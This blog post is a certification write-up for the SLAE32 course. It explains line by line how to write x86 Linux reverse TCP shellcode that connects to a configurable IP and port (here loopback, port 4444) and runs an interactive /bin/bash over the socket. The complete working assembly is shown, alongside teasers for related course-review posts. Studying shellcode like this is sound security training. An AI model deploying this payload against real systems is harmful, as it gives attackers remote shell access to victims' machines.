Skip to main content

SLAE32 - Assignment 2

Welcome to part two (2) in our seven (7) part series for the SecurityTube Linux Assembly Expert 32-bit certification challenge. This blog represents the second assignment out of seven (7) and the requirements for assignment two (2) are as follows:

  1. Create a Shell_Reverse_TCP shellcode
    1. Reverse connects to a configured IP and PORT
    2. Execs shell upon connection
  2. The IP and PORT should be easily configurable

Part one (1) can be found here:

The code for this assignment can be found on GitHub at the following location:

Supplemental scripts that I developed for this class can be found on GitHub at the following location:

Compared to assignment one (1), this code was actually a lot shorter, and if we think about this a little bit, it makes a lot of sense. Instead of using four (4) different SOCKET system calls (SOCKET, BIND, LISTEN, and ACCEPT), we just need two (2). For this assignment we'll use SOCKET, and CONNECT, along with DUP2 and EXECVE. This will make the code much shorter.

We'll start our program by similar to our Bind Shell program in assignment one (1) by declaring a global label _start, defining our .text section, and using the _start: label as our entry point for our first several lines of instructions. Similar to assignment one (1), we'll use the SOCKETCALL system call to call the SOCKET system call. Just like before, we'll use TCP, AF_INET, and SOCK_STREAM for our parameters to SOCKET. Once we setup our registers, we invoke the interrupt signal int 0x80 and create our socket. We'll also save the SOCKETFD return value in EDI.

global _start

section .text


 ; now we invoke __NR_SOCKETCALL syscall
 ; just like we did in our bind shell

 xor eax, eax         ; zero out eax
 xor ebx, ebx         ; zero out ebx
 push byte 0x6        ; push parameter 3 TCP Protocol
 push byte 0x1        ; push parameter 2 SOCK_STREAM
 push byte 0x2        ; push parameter 1 
 mov al, 0x66         ; socketcall syscall
 mov bl, 0x1          ; int socket(int domain, int type, int protocol)
 mov ecx, esp         ; parameters
 int 0x80             ; call it

 mov edi, eax         ; save that sockfd

Since I'm a big fan of the JMP-CALL-POP technique, we'll use it again in this script as well. By doing so, we'll not only have the benefit of dynamically getting the address of our IP and PORT, but we'll have the added bonus of having the last six (6) bytes of our shellcode represent the IP Address (4 bytes) and Port (last 2 bytes) respectively, fulfilling the second primary requirement for this assignment.


 ; JMP/CALL/POP for IP and PORT address

 jmp short ip_port



 call connector
 ip_address: dd 0x101017f       ;
 port:   dw 0x5c11              ; 4444 see

Before we get too far ahead of ourselves though, let's take a look at the CONNECT man page. We'll need to have a plan in order to set up our registers properly.

Once we understand the CONNECT system call, we need to reference /usr/include/linux/net.h in order to see which call number is associated with CONNECT for the SOCKETCALL system call.

We will start the next set of instructions by issuing a POP ESI instruction. ESI will now hold the address of our IP address and Port. Following this, we'll zero out our EAX, and ECX registers. Our IP gets pushed onto the stack with the PUSH DWORD [ESI] instruction which pushes four (4) bytes from the address located within ESI onto the stack. Since we specify DWORD, only the first four (4) bytes will get pushed onto the stack. The next PUSH instruction specifies a WORD which is two (2) bytes at the location four (4) bytes past the address in ESI. This will be our Port. The process of setting up our CONNECT system call continues by finishing setting up the stack so we can create our struct. The way I define a struct here is a pointer to an array of pointers. We just finished setting up the array, and now we'll have to point to it MOV EAX, ESP and then make sure that pointer is on the stack following setting up the stack with our third parameter to CONNECT. This is done by issuing the following instruction PUSH BYTE 0x10 (addrlen), and then the struct with PUSH EAX. Remember, EAX contains the address to our array on the stack. Next, we push the return value from our SOCKET system call onto the stack as the first parameter to CONNECT. We then finish setting up our registers for SOCKETCALL, and CONNECT and finally our pointer to our parameters we copy into ECX with the MOV ECX, ESP instruction. At last we send the interrupt signal to issue our CONNECT system call.


 ; Now we set up the connection with our IP/PORT
 ; we'll have to put together the struct again
 ; similar to our bind shell
 ; int connect(int sockfd, const struct sockaddr *addr,
        ;           socklen_t addrlen)

 pop esi   ; store IP and PORT in esi
 xor eax, eax  ; clean out eax, remember edi has has sockfd
 xor ecx, ecx
 push dword [esi] ; IP onto stack
 push word [esi +4] ; PORT onto stack
 mov al, 0x2  ; AF_INET IPv4 
 push ax   ; struct is set up
 mov eax, esp  ; store the pointer to a register temporarily
 push byte 0x10  ; parameter 3 16 bytes in length
 push eax  ; parameter 2, pointer to struct
 push edi  ; parameter 1, sockfd
 xor eax, eax  ; clean out eax again
 mov al, 0x66  ; __NR_SOCKETCALL
 xor ebx, ebx  ; clean out ebx
 mov bl, 0x3  ; connect()
 mov ecx, esp  ; pointer to parameters
 int 0x80  ; call it, will return 0 on success 

In assignment one (1), we redirected the ACCEPT system call to standard in, out, and error. For this assignment however we'll need to use the SOCKETFD in DUP2 for the int oldfd. Another way to accomplish this is just to loop through this section after setting ECX to 0x3. As a matter of fact, this would be a more efficient way to accomplish the same task.


 ; once again, we'll use dup2()
 ; int dup2(int oldfd, int newfd)

 xor ebx, ebx  ; clean ebx
 xor ecx, ecx  ; clean ecx
 mov ebx, edi  ; sockfd
 mov al, 0x3f  ; define __NR_dup2    63 (0x3f)
 int 0x80  ; call it
 inc ecx   ; 1 for std out
 mov al, 0x3f  ; define __NR_dup2    63 (0x3f)
 int 0x80  ; call it
 inc ecx   ; 2 for std error
 mov al, 0x3f  ; define __NR_dup2    63 (0x3f)
 int 0x80  ; call it

Similar to assignment one (1) we'll use /bin/bash -i again. We'll have to remember to initialize EAX, push its value onto the stack, and then setup the stack for our argument array. We cannot forget to terminate each argument with a null byte to terminate each argument. In this case we just have the -i argument passed to /bin/bash.


        ; now it's time to launch our shell
        ; program using execve. I prefer
        ; /bin/bash we'll use /bin////bash
        ; execve is 0xb (11)
        ; int execve(const char *filename, char *const argv[],
        ;          char *const envp[])

        xor eax, eax     ; clean out eax
        push eax         ; need a null byte for execve parameters
        push 0x68736162  ; hsab
        push 0x2f2f2f2f  ; ////
        push 0x6e69622f  ; nib/
        mov ebx, esp     ; save stack pointer in ebx
        push eax         ; Null onto stack
        push word 0x692d        ; "-i" parameter to /bin/bash
        mov esi, esp     ; save the argument pointer
        push eax         ; null byte terminator
        push esi         ; pointer to "-i" parameter to /bin/bash
        push ebx         ; points to 0x00hsab////nib/
        mov ecx, esp     ; store pointer to 0x00hsab////nib/ into ecx
        xor edx, edx     ; NULL as last parameter
        mov al, 0xb      ; execve
        int 0x80         ; call it

Here's the shellcode. Don't forget that the IP Address and Port needed to be configurable. The last six (6) bytes are the hexadecimal representation of the IP (first four (4) bytes) and port (last two (2) bytes). Since they are input into memory already in little endian format, you'll only need to put them in your final shellcode in correct order. Feel free to use my script to easily convert an IPV4 Address and port into hexadecimal. The script can be found on GitHub here:


Finally, we run the shellcode and see that it is in fact a bit shorter than our Bind Shell from assignment one (1).

Hopefully we can see that writing a Reverse Shell program takes less assembly than a Bind Shell simply because we make less system calls. Thanks for reading as always, please leave a comment or questions that come up and I hope you learned something about shellcoding, and assembly on Linux.

Next: Part 3 - Assignment 3

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-744


Popular posts from this blog

SLAE/SLAE64 Course Review

After recently finishing both the SLAE ( and SLAE64 ( courses available through SecurityTube Training, and earning both certifications, I thought I would write a review of the training itself. Personally, I chose these course as a way to learn Assembly in preparation for the Crack The Perimeter (CTP) course and OSCE certification. After taking the Pentesting With Kali (PWK) class and earning the OSCP, I knew I needed to fill some gaps in my knowledge, and specifically with C and Assembly programming. Seeing that there aren't many training offerings that aim to teach Assembly specific to penetration testing and shellcoding, I gave SLAE a try.

  If you don't care about the certification itself, you can obtain all of SecurityTube's videos for a small monthly fee through Pentes…

SLAE64 - Assignment 1

Following completion of the SLAE32 course (, I decided to take advantage of the Pentester Academy account we have at work to continue the training with SLAE64 ( So, we'll delve into each assignment like we did before and because it's part of the certification challenge.

Assignment 1 requirements are as follows:

Create a Shell_Bind_TCP shellcodeBinds to a portNeeds a "Passcode"If Passcode is correct then Execs ShellRemove 0x00 from the Bind TCP Shellcode discussed

PWK and the OSCP Review

Back in 2014 I started down the Pentesting With Kali (PWK) course about a month after passing the CISSP exam, for which I self studied for about 4 months. What can I say, I was a glutton for punishment but it was well worth it. I started off with 90 days, but due to a crazy work schedule, wound up extending it another 30 for a total of 120 days of lab access. I'm not as young as I would like to think I am and have other important responsibilities as Dad and Husband which I consider "Priority 1". So, my time to study, perform the homework assignments, go through the modules, videos, and lab work were limited to 2 hours in the morning before work (typically 5am until 7am), and then again for a few hours after everyone was asleep in the house (typically 9pm until 11pm or Midnight). Weekends I could usually spend up to 6 hours on Saturdays and Sundays studying which helped tremendously.

Other people have already done a great job at reviewing the PWK course and the OSCP chall…